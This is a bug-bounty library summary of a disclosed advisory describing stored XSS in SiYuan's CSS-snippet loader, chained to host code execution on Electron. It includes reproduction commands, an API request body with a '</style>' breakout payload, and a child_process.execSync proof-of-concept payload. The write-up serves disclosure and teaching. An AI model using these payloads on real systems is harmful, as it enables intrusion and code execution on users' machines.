# SiYuan: Stored XSS to RCE via CSS-snippet <style> breakout in renderSnippet()

CSS snippet content interpolated raw into a <style> tag via insertAdjacentHTML lets `</style>` breakout run JS, chaining to RCE on Electron with nodeIntegration.

- Payout: Research
- Severity: critical
- Program: SiYuan
- Found by: hillalee
- Disclosed: 2026-07-10
- CVE: CVE-2026-54067
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-mvjr-vv3c-w4qv
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-mvjr-vv3c-w4qv
- Tags: area:os domain:desktop domain:web impact:integrity impact:rce kind:research platform:ghsa sev:critical tech:electron technique:chained technique:source-review vuln:rce vuln:xss

**Target:** Electron renderer / web frontend snippet loader (app/src/config/util/snippets.ts)
**Root cause:** renderSnippet() interpolates snippet content into `<style id=...>${content}</style>` with insertAdjacentHTML, so a `</style>` substring closes the tag and the remainder is parsed as HTML. The JS branch already uses createElement/textContent safely; the CSS branch does not.
**Steps:**
1. Start SiYuan: `docker run -d --name siyuan-poc -v ./workspace:/siyuan/workspace -p 16806:6806 b3log/siyuan:latest --workspace=/siyuan/workspace --accessAuthCode=hunter2`
2. Read token: `TOKEN=$(jq -r '.api.token' workspace/conf/conf.json)`
3. POST to `/api/snippet/setSnippet` with `Authorization: Token $TOKEN` and body `{"snippets":[{"id":"","name":"poc","type":"css","enabled":true,"content":"</style><img src=x onerror=\"document.title=\"SIYUAN_XSS\";window.__siyuan_xss=true\">"}]}`
4. Open `http://localhost:16806/stage/build/desktop/?r=1` or the Electron app on the same workspace and authenticate
5. Observe `window.__siyuan_xss===true`, one `<img>` in `<head>`, and the snippet `<style>` closed empty
6. For RCE on Electron, use payload `<img src=x onerror="require('child_process').execSync('open /Applications/Calculator.app')">`
**How found:** Noticed the JS branch uses createElement + text-node assignment (safe) while the adjacent CSS branch uses insertAdjacentHTML with raw interpolation; recognized `</style>` as an HTML-parser close tag inside a style context.
**Exploitation:** Attacker with workspace write (compromised sync creds, shared folder, or any authenticated user on multi-user Docker) plants a CSS snippet once; it syncs via data/snippets/conf.json and fires on every peer at boot or on reloadSnippet WebSocket push, no click needed. On Electron, nodeIntegration:true makes require('child_process') reachable from the injected handler, giving host RCE.
**Escalation:** XSS in renderer escalated to host RCE by abusing nodeIntegration:true/contextIsolation:false in Electron BrowserWindow config; also bypasses enabledJS=false user intent.
**Insight:** When a codebase has two sibling branches handling similar untrusted content, diff their sink patterns: the safe one (createElement/textContent) reveals the unsafe one. Any insertAdjacentHTML/`<style>${x}</style>` interpolation is a breakout sink even for 'CSS-only' data.

## Proof of concept (copied exactly from the original report)

**Electron RCE payload via require child_process**

```
<img src=x onerror="require('child_process').execSync('open /Applications/Calculator.app')">
```

